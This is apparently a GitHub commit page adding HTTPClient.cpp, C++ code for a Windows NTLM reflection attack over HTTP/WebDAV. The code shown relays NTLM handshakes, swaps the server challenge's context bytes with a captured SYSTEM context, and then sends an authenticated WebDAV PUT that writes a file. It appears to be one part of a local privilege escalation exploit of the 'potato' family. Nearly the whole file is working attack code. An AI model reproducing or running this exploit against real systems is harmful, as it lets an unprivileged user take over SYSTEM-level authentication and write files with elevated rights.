Skip to content

Commit f174854

Browse files
committed
added HTTP/WebDAV exploitation
1 parent 4e73527 commit f174854

6 files changed

Lines changed: 479 additions & 34 deletions

File tree

HTTPClient.cpp

Lines changed: 398 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,398 @@
1+
#define SECURITY_WIN32
2+
#pragma comment(lib, "Secur32.lib")
3+
#pragma comment(lib, "Ws2_32.lib")
4+
#pragma warning(disable:4996)
5+
6+
#include "windows.h"
7+
#include "stdio.h"
8+
#include "winsock.h"
9+
#include "sspi.h"
10+
#include "Security.h"
11+
#include "HTTPClient.h"
12+
13+
14+
// global vars
15+
extern wchar_t* httpHost;
16+
extern wchar_t* httpPageUrl;
17+
extern HANDLE event1;
18+
extern HANDLE event2;
19+
extern HANDLE event3;
20+
extern char SystemContext[];
21+
extern char UserContext[];
22+
23+
SOCKET ConnectSocket2(const wchar_t* ipAddress, int port);
24+
BOOL DoAuthenticatedGETHTTP(SOCKET s, wchar_t* httpPageUrl);
25+
BOOL GenClientContext2(BYTE* pIn, DWORD cbIn, BYTE* pOut, DWORD* pcbOut, BOOL* pfDone, WCHAR* pszTarget, CredHandle* hCred, struct _SecHandle* hcText);
26+
char* base64Encode(char* text, int textLen, int* b64Len);
27+
char* base64Decode(char* b64Text, int b64TextLen, int* bufferLen);
28+
int findBase64NTLM(char* buffer, int buffer_len, char* outbuffer, int* outbuffer_len);
29+
char* ForgeHTTPRequestType1(char* ntlmsspType1, int ntlmsspType1Len, int* httpPacketType1Len, wchar_t* httpIp, wchar_t* httpUrlPage);
30+
char* ForgeHTTPWebDavRequestType1(char* ntlmsspType1, int ntlmsspType1Len, int* httpPacketType1Len, wchar_t* httpIp, wchar_t* httpUrlPage);
31+
char* ForgeHTTPWebDavRequestType0(int *l,wchar_t* httpIp, wchar_t* httpUrlPage);
32+
void ExtractType2FromHttp(char* httpPacket, int httpPacketLen, char* ntlmType2, int* ntlmType2Len);
33+
char* ForgeHTTPRequestType3(char* ntlmsspType3, int ntlmsspType3Len, int* httpPacketType3Len, wchar_t* httpIp, wchar_t* httpUrlPage);
34+
char* ForgeHTTPWebDavRequestType3(char* ntlmsspType3, int ntlmsspType3Len, int* httpPacketType3Len, wchar_t* httpIp, wchar_t* httpUrlPage);
35+
char* ForgeHTTPWebDavRequestWrite(int* l, wchar_t* httpIp, wchar_t* httpUrlPage);
36+
char* ForgeHTTPWebDavRequestHead(int* l, wchar_t* httpIp, wchar_t* httpUrlPage);
37+
38+
39+
void HTTPAuthenticatedGET() {
40+
SOCKET httpSocket = ConnectSocket2(httpHost, 80);
41+
DoAuthenticatedGETHTTP(httpSocket, httpPageUrl);
42+
closesocket(httpSocket);
43+
}
44+
45+
BOOL DoAuthenticatedGETHTTP(SOCKET s, wchar_t* httpPageUrl) {
46+
BOOL fDone = FALSE;
47+
DWORD cbOut = 0;
48+
DWORD cbIn = 0;
49+
PBYTE pInBuf;
50+
PBYTE pOutBuf;
51+
char* sendbuffer = NULL;
52+
char ntlmType2[DEFAULT_BUFLEN];
53+
char recBuffer[DEFAULT_BUFLEN];
54+
int len = 0;
55+
int reclen = 0;
56+
CredHandle hCred;
57+
struct _SecHandle hcText;
58+
59+
pInBuf = (PBYTE)malloc(DEFAULT_BUFLEN);
60+
pOutBuf = (PBYTE)malloc(DEFAULT_BUFLEN);
61+
cbOut = DEFAULT_BUFLEN;
62+
63+
//ntlm type 1 http auth
64+
if (!GenClientContext2(NULL, 0, pOutBuf, &cbOut, &fDone, (wchar_t*)L"", &hCred, &hcText))
65+
{
66+
return(FALSE);
67+
}
68+
sendbuffer = ForgeHTTPWebDavRequestType0(&len, httpHost, httpPageUrl);
69+
send(s, sendbuffer, len, 0);
70+
reclen = recv(s, recBuffer, DEFAULT_BUFLEN, 0);
71+
72+
sendbuffer = ForgeHTTPWebDavRequestType1((char*)pOutBuf, cbOut, &len, httpHost, httpPageUrl);
73+
send(s, sendbuffer, len, 0);
74+
75+
// handling ntlm type2 part with context swapping
76+
reclen = recv(s, recBuffer, DEFAULT_BUFLEN, 0);
77+
ExtractType2FromHttp(recBuffer, reclen, ntlmType2, &len);
78+
79+
if (ntlmType2[8] == 2)
80+
{
81+
memcpy(UserContext, &ntlmType2[32], 8);
82+
WaitForSingleObject(event1, INFINITE);
83+
// for local auth reflection we don't really need to relay the entire packet
84+
// swapping the context in the Reserved bytes with the SYSTEM context is enough
85+
memcpy(&ntlmType2[32], SystemContext, 8);
86+
printf("[+] HTTP Client Auth Context swapped with SYSTEM \n");
87+
}
88+
else {
89+
printf("[!] Authentication over HTTP is not using NTLM. Exiting...\n");
90+
return FALSE;
91+
}
92+
cbOut = DEFAULT_BUFLEN;
93+
if (!GenClientContext2((BYTE*)ntlmType2, len, pOutBuf, &cbOut, &fDone, (SEC_WCHAR*)L"", &hCred, &hcText))
94+
exit(-1);
95+
SetEvent(event2);
96+
WaitForSingleObject(event3, INFINITE);
97+
98+
// handling ntlm type3
99+
sendbuffer = ForgeHTTPWebDavRequestType3((char*)pOutBuf, cbOut, &len, httpHost, httpPageUrl);
100+
send(s, sendbuffer, len, 0);
101+
102+
// getting response from server
103+
reclen = recv(s, recBuffer, DEFAULT_BUFLEN, 0);
104+
/*if (recBuffer[9] == '2' && recBuffer[10] == '0' && recBuffer[11] == '0') {
105+
printf("[+] HTTP reflected DCOM authentication succeeded!\n");
106+
}
107+
else {
108+
printf("[!] HTTP reflected DCOM authentication failed \n");
109+
return FALSE;
110+
}*/
111+
sendbuffer = ForgeHTTPWebDavRequestWrite(&len, httpHost, httpPageUrl);
112+
printf("%s %d\n", sendbuffer, len);
113+
send(s, sendbuffer, len, 0);
114+
115+
reclen = recv(s, recBuffer, DEFAULT_BUFLEN, 0);
116+
if (recBuffer[9] == '2' && recBuffer[10] == '0' && recBuffer[11] == '1') {
117+
printf("[+] File write succeeded!\n");
118+
}
119+
else {
120+
printf("[!] File creation Failed \n");
121+
122+
}
123+
124+
free(pInBuf);
125+
free(pOutBuf);
126+
if(sendbuffer != NULL) free(sendbuffer);
127+
return TRUE;
128+
}
129+
130+
SOCKET ConnectSocket2(const wchar_t* ipAddress, int port) {
131+
char ipAddress_a[20];
132+
char remotePort_a[12];
133+
WSADATA wsaData;
134+
int iResult = WSAStartup(MAKEWORD(2, 2), &wsaData);
135+
if (iResult != NO_ERROR) {
136+
wprintf(L"WSAStartup function failed with error: %d\n", iResult);
137+
return 1;
138+
}
139+
SOCKET ConnectSocket;
140+
ConnectSocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
141+
if (ConnectSocket == INVALID_SOCKET) {
142+
wprintf(L"socket function failed with error: %ld\n", WSAGetLastError());
143+
WSACleanup();
144+
return 1;
145+
}
146+
memset(remotePort_a, 0, 12);
147+
memset(ipAddress_a, 0, 20);
148+
wcstombs(ipAddress_a, ipAddress, 20);
149+
sockaddr_in clientService;
150+
clientService.sin_family = AF_INET;
151+
clientService.sin_addr.s_addr = inet_addr(ipAddress_a);
152+
clientService.sin_port = htons(port);
153+
iResult = connect(ConnectSocket, (SOCKADDR*)&clientService, sizeof(clientService));
154+
if (iResult == SOCKET_ERROR) {
155+
wprintf(L"[!] ConnectSocket: connect function failed with error: %ld\n", WSAGetLastError());
156+
iResult = closesocket(ConnectSocket);
157+
if (iResult == SOCKET_ERROR)
158+
wprintf(L"closesocket function failed with error: %ld\n", WSAGetLastError());
159+
WSACleanup();
160+
return 1;
161+
}
162+
Sleep(1000);
163+
printf("[*] Connected to the HTTP server with ip %s and port %d\n", ipAddress_a, port);
164+
return ConnectSocket;
165+
}
166+
167+
BOOL GenClientContext2(BYTE* pIn, DWORD cbIn, BYTE* pOut, DWORD* pcbOut, BOOL* pfDone, WCHAR* pszTarget, CredHandle* hCred, struct _SecHandle* hcText)
168+
{
169+
SECURITY_STATUS ss;
170+
TimeStamp Lifetime;
171+
SecBufferDesc OutBuffDesc;
172+
SecBuffer OutSecBuff;
173+
SecBufferDesc InBuffDesc;
174+
SecBuffer InSecBuff;
175+
ULONG ContextAttributes;
176+
PTCHAR lpPackageName = (PTCHAR)NTLMSP_NAME;
177+
178+
if (NULL == pIn)
179+
{
180+
ss = AcquireCredentialsHandle(NULL, lpPackageName, SECPKG_CRED_OUTBOUND, NULL, NULL, NULL, NULL, hCred, &Lifetime);
181+
if (!(SEC_SUCCESS(ss)))
182+
{
183+
printf("[!] AcquireCredentialsHandleW failed with error code 0x%x\n", ss);
184+
return FALSE;
185+
}
186+
}
187+
OutBuffDesc.ulVersion = 0;
188+
OutBuffDesc.cBuffers = 1;
189+
OutBuffDesc.pBuffers = &OutSecBuff;
190+
OutSecBuff.cbBuffer = *pcbOut;
191+
OutSecBuff.BufferType = SECBUFFER_TOKEN;
192+
OutSecBuff.pvBuffer = pOut;
193+
if (pIn)
194+
{
195+
InBuffDesc.ulVersion = 0;
196+
InBuffDesc.cBuffers = 1;
197+
InBuffDesc.pBuffers = &InSecBuff;
198+
InSecBuff.cbBuffer = cbIn;
199+
InSecBuff.BufferType = SECBUFFER_TOKEN;
200+
InSecBuff.pvBuffer = pIn;
201+
ss = InitializeSecurityContext(hCred, hcText, (SEC_WCHAR*)pszTarget, MessageAttribute, 0, SECURITY_NATIVE_DREP, &InBuffDesc, 0, hcText, &OutBuffDesc, &ContextAttributes, &Lifetime);
202+
203+
}
204+
else
205+
ss = InitializeSecurityContext(hCred, NULL, (SEC_WCHAR*)pszTarget, MessageAttribute, 0, SECURITY_NATIVE_DREP, NULL, 0, hcText, &OutBuffDesc, &ContextAttributes, &Lifetime);
206+
if (!SEC_SUCCESS(ss))
207+
{
208+
printf("[!] InitializeSecurityContext failed with error code 0x%x\n", ss);
209+
return FALSE;
210+
}
211+
if ((SEC_I_COMPLETE_NEEDED == ss)
212+
|| (SEC_I_COMPLETE_AND_CONTINUE == ss))
213+
{
214+
ss = CompleteAuthToken(hcText, &OutBuffDesc);
215+
if (!SEC_SUCCESS(ss))
216+
{
217+
fprintf(stderr, "complete failed: 0x%08x\n", ss);
218+
return FALSE;
219+
}
220+
}
221+
*pcbOut = OutSecBuff.cbBuffer;
222+
*pfDone = !((SEC_I_CONTINUE_NEEDED == ss) || (SEC_I_COMPLETE_AND_CONTINUE == ss));
223+
return TRUE;
224+
}
225+
226+
char* base64Encode(char* text, int textLen, int* b64Len) {
227+
*b64Len = DEFAULT_BUFLEN;
228+
char* b64Text = (char*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, *b64Len);
229+
if (!CryptBinaryToStringA((const BYTE*)text, textLen, CRYPT_STRING_BASE64 | CRYPT_STRING_NOCRLF, b64Text, (DWORD*)b64Len)) {
230+
printf("CryptBinaryToStringA failed with error code %d", GetLastError());
231+
HeapFree(GetProcessHeap(), 0, b64Text);
232+
b64Text = NULL;
233+
exit(-1);
234+
}
235+
return b64Text;
236+
}
237+
238+
char* base64Decode(char* b64Text, int b64TextLen, int* bufferLen) {
239+
*bufferLen = DEFAULT_BUFLEN;
240+
char* buffer = (char*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, *bufferLen);
241+
if (!CryptStringToBinaryA((LPCSTR)b64Text, b64TextLen, CRYPT_STRING_BASE64, (BYTE*)buffer, (DWORD*)bufferLen, NULL, NULL)) {
242+
printf("CryptStringToBinaryA failed with error code %d", GetLastError());
243+
HeapFree(GetProcessHeap(), 0, buffer);
244+
buffer = NULL;
245+
exit(-1);
246+
}
247+
return buffer;
248+
}
249+
250+
int findBase64NTLM(char* buffer, int buffer_len, char* outbuffer, int* outbuffer_len) {
251+
char pattern_head[] = { 'N', 'T', 'L', 'M', ' ' };
252+
char pattern_tail[2] = { 0x0D, 0x0A }; // \r\n
253+
int index_start = 0;
254+
for (int i = 0; i < buffer_len; i++) {
255+
}
256+
for (int i = 0; i < buffer_len; i++) {
257+
if (buffer[i] == pattern_head[index_start]) {
258+
index_start = index_start + 1;
259+
if (index_start == sizeof(pattern_head)) {
260+
index_start = i + 1;
261+
break;
262+
}
263+
}
264+
}
265+
*outbuffer_len = 0;
266+
for (int i = index_start; i < buffer_len; i++) {
267+
if (buffer[i] == pattern_tail[0] && buffer[i + 1] == pattern_tail[1]) {
268+
break;
269+
}
270+
outbuffer[(*outbuffer_len)] = buffer[i];
271+
*outbuffer_len = (*outbuffer_len) + 1;
272+
}
273+
return 0;
274+
}
275+
276+
char* ForgeHTTPRequestType1(char* ntlmsspType1, int ntlmsspType1Len, int* httpPacketType1Len, wchar_t* httpIp, wchar_t* httpUrlPage) {
277+
char httpPacketTemplate[] = "GET %s HTTP/1.1\r\nHost: %s\r\nAuthorization: NTLM %s\r\n\r\n";
278+
char* httpPacket = (char*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, DEFAULT_BUFLEN);
279+
int b64ntlmLen;
280+
char httpIp_a[20];
281+
char httpUrlPage_a[1024];
282+
memset(httpIp_a, 0, 20);
283+
memset(httpUrlPage_a, 0, 1024);
284+
wcstombs(httpIp_a, httpIp, 20);
285+
wcstombs(httpUrlPage_a, httpUrlPage, 1024);
286+
char* b64ntlmTmp = base64Encode(ntlmsspType1, ntlmsspType1Len, &b64ntlmLen);
287+
char b64ntlm[DEFAULT_BUFLEN];
288+
memset(b64ntlm, 0, DEFAULT_BUFLEN);
289+
memcpy(b64ntlm, b64ntlmTmp, b64ntlmLen);
290+
*httpPacketType1Len = sprintf(httpPacket, httpPacketTemplate, httpUrlPage_a, httpIp_a, b64ntlm);
291+
return httpPacket;
292+
}
293+
294+
char* ForgeHTTPWebDavRequestType0(int *l,wchar_t* httpIp, wchar_t* httpUrlPage) {
295+
char httpPacketTemplate[] = "PROPFIND %s HTTP/1.1\r\nHost: %s\r\n\r\n";
296+
char* httpPacket = (char*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, DEFAULT_BUFLEN);
297+
int b64ntlmLen;
298+
char httpIp_a[20];
299+
char httpUrlPage_a[1024];
300+
memset(httpIp_a, 0, 20);
301+
memset(httpUrlPage_a, 0, 1024);
302+
wcstombs(httpIp_a, httpIp, 20);
303+
wcstombs(httpUrlPage_a, httpUrlPage, 1024);
304+
*l=sprintf(httpPacket, httpPacketTemplate, httpUrlPage_a, httpIp_a);
305+
return httpPacket;
306+
}
307+
308+
char* ForgeHTTPWebDavRequestType1(char* ntlmsspType1, int ntlmsspType1Len, int* httpPacketType1Len, wchar_t* httpIp, wchar_t* httpUrlPage) {
309+
char httpPacketTemplate[] = "HEAD %s HTTP/1.1\r\nHost: %s\r\nAuthorization: NTLM %s\r\nConnection: Keep-Alive\r\n\r\n";
310+
char* httpPacket = (char*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, DEFAULT_BUFLEN);
311+
int b64ntlmLen;
312+
char httpIp_a[20];
313+
char httpUrlPage_a[1024];
314+
memset(httpIp_a, 0, 20);
315+
memset(httpUrlPage_a, 0, 1024);
316+
wcstombs(httpIp_a, httpIp, 20);
317+
wcstombs(httpUrlPage_a, httpUrlPage, 1024);
318+
char* b64ntlmTmp = base64Encode(ntlmsspType1, ntlmsspType1Len, &b64ntlmLen);
319+
char b64ntlm[DEFAULT_BUFLEN];
320+
memset(b64ntlm, 0, DEFAULT_BUFLEN);
321+
memcpy(b64ntlm, b64ntlmTmp, b64ntlmLen);
322+
*httpPacketType1Len = sprintf(httpPacket, httpPacketTemplate, httpUrlPage_a, httpIp_a, b64ntlm);
323+
return httpPacket;
324+
}
325+
326+
void ExtractType2FromHttp(char* httpPacket, int httpPacketLen, char* ntlmType2, int* ntlmType2Len) {
327+
char b64Type2[DEFAULT_BUFLEN];
328+
int b64Type2Len = 0;
329+
findBase64NTLM(httpPacket, httpPacketLen, b64Type2, &b64Type2Len);
330+
printf("b64type=%s\n", b64Type2);
331+
char* decodedType2Tmp = base64Decode(b64Type2, b64Type2Len, ntlmType2Len);
332+
printf("decodes=%s\n", decodedType2Tmp);
333+
memset(ntlmType2, 0, DEFAULT_BUFLEN);
334+
memcpy(ntlmType2, decodedType2Tmp, *ntlmType2Len);
335+
printf("decodes=%s\n", ntlmType2);
336+
}
337+
338+
char* ForgeHTTPWebDavRequestType3(char* ntlmsspType3, int ntlmsspType3Len, int* httpPacketType3Len, wchar_t* httpIp, wchar_t* httpUrlPage) {
339+
char httpPacketTemplate[] = "HEAD %s HTTP/1.1\r\nHost: %s\r\nAuthorization: NTLM %s\r\nConnection: Keep-Alive\r\n\r\n";
340+
char* httpPacket = (char*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, DEFAULT_BUFLEN);
341+
int b64ntlmLen;
342+
char httpIp_a[20];
343+
char httpUrlPage_a[1024];
344+
memset(httpIp_a, 0, 20);
345+
memset(httpUrlPage_a, 0, 1024);
346+
wcstombs(httpIp_a, httpIp, 20);
347+
wcstombs(httpUrlPage_a, httpUrlPage, 1024);
348+
char* b64ntlmTmp = base64Encode(ntlmsspType3, ntlmsspType3Len, &b64ntlmLen);
349+
char b64ntlm[DEFAULT_BUFLEN];
350+
memset(b64ntlm, 0, DEFAULT_BUFLEN);
351+
memcpy(b64ntlm, b64ntlmTmp, b64ntlmLen);
352+
*httpPacketType3Len = sprintf(httpPacket, httpPacketTemplate, httpUrlPage_a, httpIp_a, b64ntlm);
353+
return httpPacket;
354+
}
355+
char* ForgeHTTPRequestType3(char* ntlmsspType3, int ntlmsspType3Len, int* httpPacketType3Len, wchar_t* httpIp, wchar_t* httpUrlPage) {
356+
char httpPacketTemplate[] = "GET %s HTTP/1.1\r\nHost: %s\r\nAuthorization: NTLM %s\r\nConnection: Keep-Alive\r\n\r\n";
357+
char* httpPacket = (char*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, DEFAULT_BUFLEN);
358+
int b64ntlmLen;
359+
char httpIp_a[20];
360+
char httpUrlPage_a[1024];
361+
memset(httpIp_a, 0, 20);
362+
memset(httpUrlPage_a, 0, 1024);
363+
wcstombs(httpIp_a, httpIp, 20);
364+
wcstombs(httpUrlPage_a, httpUrlPage, 1024);
365+
char* b64ntlmTmp = base64Encode(ntlmsspType3, ntlmsspType3Len, &b64ntlmLen);
366+
char b64ntlm[DEFAULT_BUFLEN];
367+
memset(b64ntlm, 0, DEFAULT_BUFLEN);
368+
memcpy(b64ntlm, b64ntlmTmp, b64ntlmLen);
369+
*httpPacketType3Len = sprintf(httpPacket, httpPacketTemplate, httpUrlPage_a, httpIp_a, b64ntlm);
370+
return httpPacket;
371+
}
372+
373+
char* ForgeHTTPWebDavRequestWrite(int* l, wchar_t* httpIp, wchar_t* httpUrlPage) {
374+
char httpPacketTemplate[] = "PUT %s HTTP/1.1\r\nHost: %s\r\nContent-Length: 23\r\nConnection: Keep-Alive\r\n\r\nwe always love potatoes";
375+
char* httpPacket = (char*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, DEFAULT_BUFLEN);
376+
int b64ntlmLen;
377+
char httpIp_a[20];
378+
char httpUrlPage_a[1024];
379+
memset(httpIp_a, 0, 20);
380+
memset(httpUrlPage_a, 0, 1024);
381+
wcstombs(httpIp_a, httpIp, 20);
382+
wcstombs(httpUrlPage_a, httpUrlPage, 1024);
383+
*l = sprintf(httpPacket, httpPacketTemplate, httpUrlPage_a, httpIp_a);
384+
return httpPacket;
385+
}
386+
char* ForgeHTTPWebDavRequestHead(int* l, wchar_t* httpIp, wchar_t* httpUrlPage) {
387+
char httpPacketTemplate[] = "PROPPATCH %s HTTP/1.1\r\nHost: %s\r\nContent-Length: 26\r\nConnection: Keep-Alive\r\n\r\nwe always love potatoes";
388+
char* httpPacket = (char*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, DEFAULT_BUFLEN);
389+
int b64ntlmLen;
390+
char httpIp_a[20];
391+
char httpUrlPage_a[1024];
392+
memset(httpIp_a, 0, 20);
393+
memset(httpUrlPage_a, 0, 1024);
394+
wcstombs(httpIp_a, httpIp, 20);
395+
wcstombs(httpUrlPage_a, httpUrlPage, 1024);
396+
*l = sprintf(httpPacket, httpPacketTemplate, httpUrlPage_a, httpIp_a);
397+
return httpPacket;
398+
}

0 commit comments

Comments
 (0)